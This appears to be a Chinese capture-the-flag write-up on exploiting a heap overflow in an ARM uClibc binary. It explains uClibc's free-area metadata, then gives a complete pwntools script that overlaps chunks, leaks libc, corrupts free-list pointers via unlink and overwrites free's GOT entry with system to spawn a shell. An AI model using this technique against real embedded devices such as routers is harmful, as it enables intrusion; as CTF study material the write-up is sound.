arm构架uclibc下的堆溢出初识

2020-07-01

arm构架`uclibc`下的堆溢出初识

第五空间2020遇到的一道arm构架的题目。

1 2	angela@angela-dev:/mnt/hgfs/share/pwn/5space/pwnme/lib$ file a.out a.out: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

可以看到是32位ARM动态链接的可执行文件，运行方式如下：

1	qemu-arm -L ./lib ./a.out // ./lib为动态链接库的路径

首先介绍uclibc，是 glibc 的一个精简版，主要用于嵌入式设备，比如路由器就基本使用的是 uClibc，简单自然效率高。所以他和一般的x86的堆分配机制会有些不一样。

struct heap_free_area
{
	size_t size;  //空闲区的大小
	 //用于构造循环链表
	struct heap_free_area *next, *prev;
};

size 表示该空闲区域的大小，这个空闲区域的实际地址并没有用指针详细地指明，
因为它就位于当前 heap_free_area 节点的前面，如下图所示：

+-------------------------------+--------------------+
|                               |   heap_free_area   |
+-------------------------------+--------------------+
\___________ 空闲空间 ___________/\___ 空闲空间信息 ___/


实际可用的空闲空间大小为 size – sizeof(struct heap_free_area)

指针 next, prev 分别指向下一个和上一个空间区域，
所有的空闲区域就是通过许许多多这样的节点链起来的，
很显然，这样组成的是一个双向链表。

所以 free 块在内存中的存储方式和 glibc 中的存储方式是不一样的。它的元数据在块的末尾，而 glibc中元数据在块的开头。

所以如果我们有一个堆溢出，我们就需要覆盖到下面空闲空间的 heap_free_area 中的指针，才能实现 uClibc中的 unlink 攻击

详细介绍uclibc的博客：https://www.cnblogs.com/hac425/p/9416738.html

而本题中由于edit函数存在堆溢出漏洞，于是我们可以首先构造overlop泄露libc之后利用堆溢出覆盖 heap_free_area 中的指针为heaplist造成unlink最后利用edit函数覆盖free的got为system

from pwn import *
context.log_level='debug'
DEBUG=1
if DEBUG:
	p=process(["qemu-arm","-L","./lib","./a.out"])
#qemu-arm -L ./lib ./a.out
else:
	pass

def show():
     	p.sendlineafter(">>> ","1")
def add(l,note):
     	p.sendlineafter(">>> ","2")
     	p.sendlineafter(":",str(l))
     	p.sendafter(":",note)
def change(index,l,note):
     	p.sendlineafter(">>> ","3")
     	p.sendlineafter(":",str(index))
     	p.sendlineafter(":",str(l))
     	p.sendafter(":",note)
def remove(index):
     	p.sendlineafter(">>> ","4")
     	p.sendlineafter(":",str(index))

add(0x18,"aaaaaaaa")  #0
add(0x4f8,"aaaaaaaa") #1
add(0x18,"aaaaaaaa")  #2
add(0x18,"aaaaaaaa")  #3
change(0,0x40,"a"*0x1c+p64(0x500+0x20+1))  #利用堆溢出构造overlop即使2号堆块uaf
remove(1)
add(0x4f8,"aaaaaaaa")  #2号堆块中存在指向main_arean+88的地址
show()
p.recvuntil("2 : ")
libc=u32(p.recv(4))+0xff720000-0xff7ba8ec
success('libc: '+hex(libc))
add(0x18,'aaaaaaaa')  #4  4号和2号指向同一堆块
add(0x21,"aaaaaaa")   #5
remove(0)
remove(4)
change(2,8,p32(0x21048^0x22))  #使等下申请回来的4号堆块指向heaplist
add(0x18,"aaaaa") #0
add(0x18,'aaaaa') #4
change(4,0xf8,"/bin/sh\x00"+p32(0)*4+p32(0x28)+p32(0x21038)) #使0号堆ptr为free_got(0x21038)
change(0,0x8,p32(libc+0x51800))  #覆盖got
#show()
remove(4)
gdb.attach(p)
p.interactive()